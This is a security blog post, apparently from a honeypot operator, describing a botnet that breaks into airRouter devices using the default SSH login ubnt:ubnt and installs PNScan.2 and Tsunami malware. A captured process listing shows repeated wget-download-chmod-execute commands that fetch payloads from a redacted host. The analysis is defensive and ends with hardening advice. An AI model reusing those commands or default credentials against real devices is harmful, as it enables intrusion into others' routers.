Insistent router botnet

The botnet is fond of using the login:password combination ubnt:ubnt (we do not have this combination normally permitted at the SSH honeypot and unsuccessful login attempts are not displayed on the website). It is the default combinations for airRouter and obviously, there are still plenty of routers that retain the default settings. Moreover, the SSH port is accessible from the Internet.

So have we purchased an airRouter and waited to see what happens. Just a few minutes passed before attackers tried to log into the router. It was like traveling 10 years back in time, when the Sasser worm was widespread. At the time of its greatest glory, Windows machines were infected before updates could be installed (you could bypass it only via offline installation and patch).

The malware sample is pretty well-known due to its noisiness — it is PNScan.2 and it’s trying to spread far and wide. Shortly after the installation, it starts attacking other machines. Files with a list of IP addresses to attack are characterized by being “pre-scanned”, i.e. the attackers already know that SSH is running on the target machines.

After a while, processes of other Trojan downloaded by PNScan show up, most of them belonging to the malware:

  PID USER       VSZ STAT COMMAND
  [...]
  902 ubnt       812 R    /usr/bin/ 
 1005 ubnt       272 S    /usr 
 1209 ubnt      3632 S    /tmp/.xs/daemon.mips.mod 
 1210 ubnt      3632 S    /tmp/.xs/daemon.mips.mod 
 1211 ubnt      3632 S    /tmp/.xs/daemon.mips.mod 
 1212 ubnt      3632 S    /tmp/.xs/daemon.mips.mod 
 1213 ubnt      3632 S    /tmp/.xs/daemon.mips.mod 
 1236 ubnt      1972 S    sh -c wget -c http://x.x.x.x/wras;chmod 777 wras;./wras; 
 1239 ubnt      3564 S    ./wras 
 1240 ubnt      3564 S    ./wras 
 1241 ubnt      3564 S    ./wras 
 1248 ubnt      1972 S    sh -c wget -c http://x.x.x.x/hsde;chmod 777 hsde;./hsde; 
 1251 ubnt      3564 S    ./hsde 
 1252 ubnt      3564 S    ./hsde 
 1253 ubnt      3564 S    ./hsde 
 1292 ubnt      1972 S    sh -c wget -c http://x.x.x.x/wras;chmod 777 wras;./wras; 
 1295 ubnt      3564 S    ./wras 
 1296 ubnt      3564 S    ./wras 
 1297 ubnt      3564 S    ./wras 
 1302 ubnt      1972 S    sh -c wget -c http://x.x.x.x/hsde;chmod 777 hsde;./hsde; 
 1305 ubnt      3564 S    ./hsde 
 1306 ubnt      3564 S    ./hsde 
 1307 ubnt      3564 S    ./hsde 
 1368 ubnt      1972 S    sh -c wget -c http://x.x.x.x/wras;chmod 777 wras;./wras; 
 1371 ubnt      3564 S    ./wras 
 1372 ubnt      3564 S    ./wras 
 1373 ubnt      3564 S    ./wras 
 1427 ubnt       816 S    /usr/bin/ 
 [...]

Less common Trojan processes displayed as “/usr” and “/usr/bin” belong to the Tsunami Trojan. This disguise is made simply by changing argv [0], which is striking — why didn’t the attackers choose less suspicious name? However, the result is not surprising: a vulnerable device will not stay untouched on the Internet for too long.

So if you own this kind of router, check out what processes are running on it. And if you are considering buying one, we recommend you to first set it up without the Internet connecting, set a strong password, and if you do not really need it, disable the SSH interface being accessible from the WAN side of the router.